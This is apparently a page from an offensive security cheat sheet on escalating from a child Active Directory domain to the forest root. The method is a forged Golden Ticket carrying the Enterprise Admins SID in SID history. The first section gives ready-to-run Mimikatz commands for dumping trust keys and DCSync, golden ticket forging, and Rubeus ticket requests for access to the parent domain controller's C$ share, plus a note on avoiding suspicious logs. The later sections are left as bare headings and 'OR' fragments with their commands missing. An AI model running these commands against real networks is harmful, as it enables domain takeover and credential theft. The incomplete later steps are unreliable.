githubEdit

Child Domain to Parent Domain - Forest Compromise - extra SIDs (parent/child) (child/parent)

Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the Enterprise Admins group in the SID history field.

With the trust key

1) Get the trust key, look at the [in] value in the result

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc

OR

Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\parentDomain$"'

2) Forge the referral ticket

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<current_domain_SID> /sids:<enterprise_admins_SID>-<RID> /rc4:<key> /service:krbtgt /target:parentDomain.local /ticket:trust.kirbi"'

3) Request an ST with the previous TGT and access service

#New tools for more fun

.\asktgs.exe trust.kirbi CIFS/dc.parentDomain.local
.\kirbikator.exe lsa .\CIFS.dc.parentDomain.local.kirbi
ls \\dc.parentDomain.local\c$

Or classically

.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/dc.parentDomain.local /dc:dc.parentDomain.local /ptt
ls \\dc.parentDomain.local\c$

With the krbtgt hash

Exactly the same attack, but with the krbtgt hash that can be extracted like this :

To avoid some suspicious logs, use multiple values can be added in SID History :

1) Golden Ticket

OR

OR

The new Golden Ticket will be written at the path specified in -w

Dump the Administrator's hash of the root domain

PSEXEC on a machine

2) inter_realm_ticket TRUST (parent/child) (child/parent)

OR

With these attacks, we perform Pass-the-Ticket

Last updated